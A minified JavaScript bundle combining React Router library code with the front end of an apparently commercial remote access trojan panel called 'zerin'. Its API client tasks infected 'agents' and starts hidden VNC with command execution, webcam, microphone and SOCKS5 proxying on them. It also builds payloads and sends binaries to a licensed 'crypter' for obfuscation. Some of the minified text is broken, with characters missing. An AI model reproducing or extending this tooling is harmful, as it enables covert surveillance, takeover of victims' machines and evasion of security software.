n.some(jg)&&(r+=zP),t&&(r+=kP),n.filter(i=>!jg(i)).reduce((i,a)=>i+(wP.test(a)?jP:a===""?NP:SP),r)}function PP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function EP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function AP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),cx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function _P(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return cx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ha(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const OP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,TP=e=>OP.test(e);function MP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?ns(e):e,a;if(n)if(TP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),cx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=kg(n.substring(1),"/"):a=kg(n,t)}else a=t;return{pathname:a,search:DP(r),hash:RP(i)}}function kg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Bf(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function LP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function ux(e,t){let n=LP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function dx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=ns(e):(i=go({},e),He(!i.pathname||!i.pathname.includes("?"),Bf("?","pathname","search",i)),He(!i.pathname||!i.pathname.includes("#"),Bf("#","pathname","hash",i)),He(!i.search||!i.search.includes("#"),Bf("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=MP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const ii=e=>e.join("/").replace(/\/\/+/g,"/"),IP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),DP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,RP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function $P(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Vj=["post","put","patch","delete"];new Set(Vj);const BP=["get",...Vj];new Set(BP);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function yo(){return yo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=dx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:ii([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const UP=p.createContext(null);function VP(e){let t=p.useContext(nr).outlet;return t&&p.createElement(UP.Provider,{value:e},t)}function Vo(){let{matches:e}=p.useContext(nr),t=e[e.length-1];return t?t.params:{}}function Qu(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Er),{matches:i}=p.useContext(nr),{pathname:a}=ia(),o=JSON.stringify(ux(i,r.v7_relativeSplatPath));return p.useMemo(()=>dx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function HP(e,t){return KP(e,t)}function KP(e,t,n,r){rs()||He(!1);let{navigator:i}=p.useContext(Er),{matches:a}=p.useContext(nr),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ia(),d;if(t){var f;let y=typeof t=="string"?ns(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||He(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=gP(e,{pathname:h}),g=ZP(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:ii([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:ii([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(Zu.Provider,{value:{location:yo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:Yr.Pop}},g):g}function qP(){let e=tE(),t=$P(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const YP=p.createElement(qP,null);class GP extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(nr.Provider,{value:this.props.routeContext},p.createElement(Kj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function XP(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(Xu);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(nr.Provider,{value:t},r)}function ZP(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||He(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||YP,c&&(u<0&&m===0?(rE("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(XP,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement(GP,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var Yj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(Yj||{}),Gj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(Gj||{});function QP(e){let t=p.useContext(Xu);return t||He(!1),t}function JP(e){let t=p.useContext(Hj);return t||He(!1),t}function eE(e){let t=p.useContext(nr);return t||He(!1),t}function Xj(e){let t=eE(),n=t.matches[t.matches.length-1];return n.route.id||He(!1),n.route.id}function tE(){var e;let t=p.useContext(Kj),n=JP(),r=Xj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function nE(){let{router:e}=QP(Yj.UseNavigateStable),t=Xj(Gj.UseNavigateStable),n=p.useRef(!1);return qj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,yo({fromRouteId:t},a)))},[e,t])}const Ng={};function rE(e,t,n){Ng[e]||(Ng[e]=!0)}function iE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Yi(e){let{to:t,replace:n,state:r,relative:i}=e;rs()||He(!1);let{future:a,static:o}=p.useContext(Er),{matches:l}=p.useContext(nr),{pathname:c}=ia(),u=rr(),d=dx(t,ux(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function aE(e){return VP(e.context)}function ft(e){He(!1)}function sE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=Yr.Pop,navigator:a,static:o=!1,future:l}=e;rs()&&He(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:yo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=ns(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ha(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Er.Provider,{value:u},p.createElement(Zu.Provider,{children:n,value:g}))}function oE(e){let{children:t,location:n}=e;return HP(hm(t),n)}new Promise(()=>{});function hm(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,hm(r.props.children,a));return}r.type!==ft&&He(!1),!r.props.index||!r.props.children||He(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=hm(r.props.children,a)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function $c(){return $c=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function lE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function cE(e,t){return e.button===0&&(!t||t==="_self")&&!lE(e)}function xm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function uE(e,t){let n=xm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const dE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],fE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],pE="6";try{window.__reactRouterVersion=pE}catch{}const mE=p.createContext({isTransitioning:!1}),hE="startTransition",Sg=$2[hE];function xE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=hP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&Sg?Sg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>iE(r),[r]),p.createElement(sE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const vE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",gE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,ot=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=Zj(t,dE),{basename:h}=p.useContext(Er),x,g=!1;if(typeof u=="string"&&gE.test(u)&&(x=u,vE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ha(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=FP(u,{relative:i}),v=wE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",$c({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),yE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Zj(t,fE),m=Qu(c,{relative:f.relative}),h=ia(),x=p.useContext(Hj),{navigator:g,basename:y}=p.useContext(Er),v=x!=null&&jE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ha(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},O=S?r:void 0,_;typeof a=="function"?_=a(z):_=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(z):l;return p.createElement(ot,$c({},f,{"aria-current":O,className:_,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var vm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(vm||(vm={}));var zg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(zg||(zg={}));function bE(e){let t=p.useContext(Xu);return t||He(!1),t}function wE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=rr(),u=ia(),d=Qu(e,{relative:o});return p.useCallback(f=>{if(cE(f,n)){f.preventDefault();let m=r!==void 0?r:Rc(u)===Rc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function fx(e){let t=p.useRef(xm(e)),n=p.useRef(!1),r=ia(),i=p.useMemo(()=>uE(r.search,n.current?null:t.current),[r.search]),a=rr(),o=p.useCallback((l,c)=>{const u=xm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function jE(e,t){t===void 0&&(t={});let n=p.useContext(mE);n==null&&He(!1);let{basename:r}=bE(vm.useViewTransitionState),i=Qu(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ha(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ha(n.nextLocation.pathname,r)||n.nextLocation.pathname;return mm(i.pathname,o)!=null||mm(i.pathname,a)!=null}const Ju="zerin_token",ed="zerin_role",td="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(Ju,n.data.token),n.data.role&&sessionStorage.setItem(ed,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function et(){return sessionStorage.getItem(Ju)}function px(e){sessionStorage.setItem(Ju,e)}function Ho(){sessionStorage.removeItem(Ju),sessionStorage.removeItem(ed),sessionStorage.removeItem(td),bo=null}function Qj(){return sessionStorage.getItem(td)||"rat"}let bo=null;function kE(){return et()?bo&&Date.now()/1e3>bo?(Ho(),!1):!0:!1}class ai extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function we(e,t={}){const n=et(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Ho(),ui();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new ai(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new ai(i.status,o)}if(i.status!==204)return i.json()}async function Jj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function NE(e){const t=await Jj(e.password),n=await we("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return px(n.token),bo=n.expires_at,n.role&&sessionStorage.setItem(ed,n.role),n.tier&&sessionStorage.setItem(td,n.tier),ui(),n}async function SE(e){const t=await Jj(e.password),n=await we("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return px(n.token),bo=n.expires_at,n.role&&sessionStorage.setItem(ed,n.role),n.tier&&sessionStorage.setItem(td,n.tier),ui(),n}async function e5(e){return we("/api/agents")}async function zE(e){return we(`/api/agents/${e}`)}async function t5(e){return we(`/api/agents/${e}`,{method:"DELETE"})}async function CE(e){await Promise.all(e.map(t=>t5(t)))}async function PE(e){return we(`/api/agents/${e}/ban`,{method:"POST"})}async function EE(e){return we(`/api/agents/${e}/unban`,{method:"POST"})}async function Ce(e,t){return we(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Rn(e){return we(`/api/agents/${e}/tasks`)}async function AE(){return we("/api/events")}async function _E(e,t){return we(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function OE(e){return we("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function TE(){return we("/api/payloads")}async function ME(){return we("/api/server-info")}async function LE(e){return we(`/api/payloads/${e}`,{method:"DELETE"})}async function mx(e){return we(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function IE(e){return we(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function n5(e){return we(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function DE(e){return we(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function RE(e,t,n=!1){return we(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function r5(e,t=-1){return we(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function $E(e){return we(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function i5(e){return we(`/api/agents/${e}/mic/start`,{method:"POST"})}async function BE(e){return we(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function a5(e){return we(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function FE(e){return we(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function WE(e){return we(`/api/agents/${e}/socks5/status`)}async function UE(e){const t=et(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Ho(),ui(),new ai(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new ai(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new ai(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function VE(){return we("/api/admin/keys")}async function HE(e){return we("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function KE(e){return we(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function qE(){return we("/api/admin/operators")}async function YE(e,t){return we(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function GE(e,t){return we(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let oc=[];function XE(e){return oc.push(e),()=>{oc=oc.filter(t=>t!==e)}}function ZE(){return kE()}function ui(){oc.forEach(e=>e())}function QE(){const e=et();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function is(){const e=p.useSyncExternalStore(XE,ZE),t=p.useCallback(()=>{ui()},[]),n=p.useCallback(()=>{Ho(),ui()},[]),r=e?QE():null;return{isAuthenticated:e,token:et(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class JE extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function eA(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=et();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Ho(),ui()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Ff="zerin_notifications_enabled";function tA(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Ff)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Ff,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Ff,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Wf="zerin-uwu-mode",Cg=20,nA=3e3;function rA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function iA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function aA(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function sA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Pg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Eg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function oA(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=Pg[Math.floor(Math.random()*Pg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const 